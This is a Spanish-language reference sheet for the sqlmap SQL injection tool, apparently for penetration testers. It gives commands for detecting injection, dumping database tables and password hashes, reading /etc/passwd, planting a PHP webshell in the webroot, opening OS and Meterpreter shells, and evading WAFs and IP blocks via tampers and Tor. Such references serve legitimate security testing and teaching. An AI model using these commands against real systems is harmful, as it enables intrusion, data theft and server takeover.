Skip to content

SQLmap

SQLmap es una herramienta de código abierto que automatiza la detección y explotación de vulnerabilidades de inyección SQL, y puede llegar a tomar control del servidor de base de datos subyacente. Soporta una amplia variedad de motores (MySQL, MSSQL, Oracle, PostgreSQL, SQLite, entre otros) y ofrece desde detección pasiva hasta post-explotación completa (lectura/escritura de archivos, shell de sistema operativo).

Uso básico

Escaneo básico de un parámetro GET:

c
❯ sqlmap -u "http://www.example.com/vuln.php?id=1" --batch
  • --batch : responde automáticamente con la opción por defecto a cualquier pregunta interactiva que haría sqlmap, ideal para automatizar o correr en background sin supervisión.

Incluyendo cabeceras HTTP personalizadas (útil para imitar un navegador real y evitar bloqueos básicos por User-Agent):

c
❯ sqlmap 'http://www.example.com/?id=1' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0' -H 'Accept: image/webp,*/*' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Connection: keep-alive' -H 'DNT: 1'

Ver el menú de ayuda básica:

c
❯ sqlmap -h

Ver el menú de ayuda avanzada (opciones completas, incluyendo las menos usadas):

c
❯ sqlmap -hh

Especificar la solicitud

Peticiones GET/POST

c
❯ sqlmap 'http://www.example.com/' --data 'uid=1&name=test'

Especificando manualmente el punto de inyección con un asterisco (útil cuando sqlmap no detecta automáticamente cuál de los parámetros es inyectable, o para forzar que pruebe uno en concreto):

c
❯ sqlmap 'http://www.example.com/' --data 'uid=1*&name=test'

Especificar el método HTTP explícitamente (por ejemplo, PUT):

c
❯ sqlmap -u www.target.com --data='id=1' --method PUT

Pasar una solicitud HTTP completa desde un archivo

Es el método más preciso: capturar la petición completa (por ejemplo, desde Burp Suite) y guardarla en un archivo de texto:

c
GET /?id=1 HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1
If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMT
If-None-Match: "3147526947"
Cache-Control: max-age=0
c
❯ sqlmap -r req.txt
  • Preferible sobre -u/--data cuando la petición tiene muchas cabeceras, cookies de sesión, o tokens que serían tediosos de reconstruir manualmente en la línea de comandos.
c
❯ sqlmap -u "http://www.example.com/?id=1" --cookie='PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c'
  • Necesario cuando el parámetro vulnerable solo es accesible tras autenticarse, o cuando se sospecha que el punto de inyección está en la propia cookie (combinar con * para marcarlo: --cookie='PHPSESSID=ab4530*').

Omitir un token CSRF

c
❯ sqlmap -u "http://www.example.com/" --data="id=1&csrf-token=WfF1szMUHhiokx9AHFply5L2xAOfjRkE" --csrf-token="csrf-token"
  • --csrf-token : le indica a sqlmap qué parámetro contiene el token CSRF, para que lo regenere automáticamente (obteniendo uno nuevo válido) en cada petición, ya que un token estático fallaría tras el primer uso.

Opciones de diagnóstico y depuración

Guardar todo el tráfico HTTP generado en un archivo, útil para revisar exactamente qué peticiones se enviaron:

c
❯ sqlmap -u "http://www.target.com/vuln.php?id=1" --batch -t /tmp/traffic.txt

Especificar el nivel de verbosidad (0 = solo mensajes críticos, 6 = máximo detalle, incluyendo las peticiones/respuestas HTTP completas):

c
❯ sqlmap -u "http://www.target.com/vuln.php?id=1" -v 6 --batch

Prefijo, sufijo, nivel y riesgo

Especificar manualmente un prefijo/sufijo para el payload de inyección — útil cuando sqlmap no logra detectar automáticamente el contexto exacto de la consulta (por ejemplo, dentro de un LIKE con comillas dobles anidadas):

c
❯ sqlmap -u "www.example.com/?q=test" --prefix="%'))" --suffix="-- -"

Esto construiría una consulta similar a:

c
SELECT id,name,surname FROM users WHERE id LIKE (('test%')) UNION ALL SELECT 1,2,VERSION()-- -')) LIMIT 0,1

Especificar nivel y riesgo, y aumentar la verbosidad para ver exactamente qué payloads se están probando:

c
❯ sqlmap -u www.example.com/?id=1 -v 3 --level=5

Qué controlan --level y --risk

OpciónRangoQué afecta
--level1–5 (por defecto 1)Cuántos puntos de inyección prueba sqlmap (a nivel 3+ empieza a probar también cabeceras como User-Agent, Referer y cookies) y cuántos payloads distintos intenta por técnica.
--risk1–3 (por defecto 1)Qué tan "agresivos" son los payloads: nivel 3 incluye payloads que podrían modificar datos (UPDATE, INSERT con side-effects) o generar carga pesada en la base de datos (funciones de tiempo largas).
  • Subir ambos valores aumenta significativamente la cobertura de detección, pero también el tiempo de escaneo y el ruido generado — en un pentest real conviene subirlos gradualmente en vez de saltar directo a --level=5 --risk=3.

Enumeración de la base de datos

Enumeración básica: banner del DBMS, usuario actual, base de datos actual, y si el usuario tiene privilegios de administrador:

c
❯ sqlmap -u "http://www.example.com/?id=1" --banner --current-user --current-db --is-dba

Listar todas las bases de datos disponibles:

c
❯ sqlmap -u "http://www.example.com/?id=1" --dbs

Listar las tablas de una base de datos específica:

c
❯ sqlmap -u "http://www.example.com/?id=1" --tables -D testdb

Listar las columnas de una tabla específica:

c
❯ sqlmap -u "http://www.example.com/?id=1" --columns -T users -D testdb

Volcar (dump) datos

Volcar columnas específicas de una tabla:

c
❯ sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb -C name,surname

Volcado condicional (solo filas que cumplan una condición, útil para reducir el volumen de datos extraídos):

c
❯ sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --where="name LIKE 'f%'"

Volcar absolutamente todo lo accesible (todas las bases de datos, todas las tablas) — usar con cautela por el volumen de tráfico/tiempo que implica:

c
❯ sqlmap -u "http://www.example.com/?id=1" --dump-all --exclude-sysdbs
  • --exclude-sysdbs : excluye las bases de datos internas del propio motor (information_schema, mysql, etc.), enfocándose solo en las bases de datos de la aplicación.

Enumerar el esquema completo (estructura de bases de datos/tablas/columnas, sin extraer los datos en sí):

c
❯ sqlmap -u "http://www.example.com/?id=1" --schema

Buscar un nombre de columna/tabla/base de datos específico en todo el DBMS (útil cuando no se sabe en qué tabla exacta buscar, por ejemplo buscando cualquier columna relacionada con "user"):

c
❯ sqlmap -u "http://www.example.com/?id=1" --search -T user

Contraseñas

Enumerar y descifrar automáticamente hashes de contraseñas de usuarios del propio DBMS (no de la aplicación), usando el diccionario por defecto de sqlmap:

c
❯ sqlmap -u "http://www.example.com/?id=1" --passwords --batch

Verificar privilegios de administrador (DBA) del usuario actual de la base de datos:

c
❯ sqlmap -u "http://www.example.com/case1.php?id=1" --is-dba

Lectura y escritura de archivos

Leer un archivo del sistema de archivos del servidor (requiere privilegios suficientes en el DBMS, como FILE en MySQL):

c
❯ sqlmap -u "http://www.example.com/?id=1" --file-read "/etc/passwd"

Escribir un archivo en el servidor:

c
❯ sqlmap -u "http://www.example.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php"

De la inyección a una webshell completa

c
❯ echo '<?php system($_GET["cmd"]); ?>' > shell.php
❯ sqlmap -u "http://www.example.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php"
❯ curl "http://www.example.com/shell.php?cmd=ls+-la"
  • Esto solo funciona si: (1) el usuario del DBMS tiene privilegios de escritura de archivos, (2) la ruta de destino coincide con el webroot real del servidor, y (3) secure_file_priv (en MySQL) u otras restricciones equivalentes no lo bloquean.

Shells interactivas

Iniciar una shell de sistema operativo interactiva directamente desde sqlmap (automatiza todo el proceso de subir una webshell/UDF y usarla):

c
❯ sqlmap -u "http://www.example.com/?id=1" --os-shell

Forzando una técnica de inyección específica (útil cuando la detección automática elige una técnica subóptima, o cuando se sabe de antemano cuál funciona):

c
❯ sqlmap -u "http://www.example.com/?id=1" --os-shell --technique=E

Técnicas de inyección (--technique)

LetraTécnica
BBoolean-based blind
EError-based
UUnion query-based
SStacked queries
TTime-based blind
QInline queries
  • Se pueden combinar varias letras (por ejemplo --technique=BEU) para limitar sqlmap a probar solo esas técnicas, acelerando el escaneo cuando ya se sabe (o se sospecha) cuál aplica.

Ejecutar un único comando del sistema operativo sin abrir una shell interactiva completa:

c
❯ sqlmap -u "http://www.example.com/?id=1" --os-cmd="whoami"

Obtener una shell interactiva de base de datos (SQL puro, no del sistema operativo — útil para ejecutar consultas arbitrarias de forma manual dentro de la sesión de sqlmap):

c
❯ sqlmap -u "http://www.example.com/?id=1" --sql-shell

Obtener directamente una sesión Meterpreter/shell de Metasploit a través de la inyección (post-explotación avanzada, requiere que sqlmap pueda subir y ejecutar un binario/stager):

c
❯ sqlmap -u "http://www.example.com/?id=1" --os-pwn --msf-path=/usr/share/metasploit-framework

Evasión de WAF/IPS

Listar todos los scripts de manipulación (tamper) disponibles, que reescriben los payloads para evadir filtros de WAF/IPS:

c
❯ sqlmap --list-tampers

Aplicar uno o varios tampers a la vez (separados por coma):

c
❯ sqlmap -u "http://www.example.com/?id=1" --tamper=space2comment,charencode --batch
  • space2comment : reemplaza espacios por comentarios SQL (/**/), evadiendo filtros simples que bloquean espacios en el payload.
  • charencode : codifica caracteres en URL-encoding para eludir firmas de WAF basadas en texto plano.
  • Otros tampers comunes: between (reemplaza >/< por NOT BETWEEN), randomcase (alterna mayúsculas/minúsculas para evadir filtros case-sensitive), apostrophemask (codifica comillas simples con equivalentes Unicode).

Identificar automáticamente si hay un WAF presente antes de intentar evadirlo:

c
❯ sqlmap -u "http://www.example.com/?id=1" --identify-waf

Usar un User-Agent aleatorio en cada petición (evade bloqueos simples por firma de User-Agent):

c
❯ sqlmap -u "http://www.example.com/?id=1" --random-agent

Enrutar el tráfico a través de un proxy (por ejemplo, Burp Suite, para inspeccionar visualmente cada petición mientras sqlmap trabaja):

c
❯ sqlmap -u "http://www.example.com/?id=1" --proxy="http://127.0.0.1:8080"

Enrutar el tráfico a través de Tor (anonimización, o para rotar la IP de origen si hay bloqueo por IP):

c
❯ sqlmap -u "http://www.example.com/?id=1" --tor --tor-type=SOCKS5 --check-tor

Rendimiento y comportamiento de la conexión

Aumentar el número de hilos concurrentes (acelera el escaneo, especialmente en técnicas blind/time-based que requieren muchas peticiones):

c
❯ sqlmap -u "http://www.example.com/?id=1" --threads=10

Agregar un delay entre peticiones (lo opuesto a --threads alto — útil para pasar desapercibido o respetar límites de tasa del objetivo):

c
❯ sqlmap -u "http://www.example.com/?id=1" --delay=1

Limitar el tiempo máximo de espera por respuesta antes de considerar la petición fallida:

c
❯ sqlmap -u "http://www.example.com/?id=1" --timeout=10 --retries=2

Descubrimiento automático de puntos de inyección

Rastrear (crawlear) un sitio en busca de formularios y parámetros inyectables automáticamente, en vez de especificar una URL puntual:

c
❯ sqlmap -u "http://www.example.com/" --crawl=3 --forms --batch
  • --crawl=3 : sigue enlaces hasta 3 niveles de profundidad desde la URL inicial.
  • --forms : detecta y prueba automáticamente los formularios encontrados durante el crawl (no solo parámetros en la URL).

Probar todos los parámetros de una petición a la vez, en vez de que sqlmap intente adivinar cuál es el vulnerable:

c
❯ sqlmap -u "http://www.example.com/?id=1&cat=2" --batch --skip-static --level=5
  • --skip-static : omite parámetros que sqlmap detecta como "estáticos" (que no afectan la respuesta), enfocando el esfuerzo en los que sí parecen dinámicos.

Inyección de segundo orden

Cuando el payload no se refleja en la misma respuesta, sino que se almacena y se ejecuta más tarde en otra página (por ejemplo: se registra un usuario con un payload en el campo "nombre", y la inyección ocurre después, al ver el perfil):

c
❯ sqlmap -u "http://www.example.com/register.php" --data="username=test&name=INJECT_HERE" --second-order="http://www.example.com/profile.php?user=test" --batch
  • --second-order : le indica a sqlmap en qué URL debe buscar el resultado de la inyección, en vez de esperar la respuesta inmediata de la petición original.

Persistencia de sesión

sqlmap guarda el estado de cada escaneo (payloads confirmados, técnica detectada, etc.) para no tener que redetectar todo en cada ejecución. Si se necesita forzar una detección desde cero (por ejemplo, tras cambios en la aplicación):

c
❯ sqlmap -u "http://www.example.com/?id=1" --flush-session --batch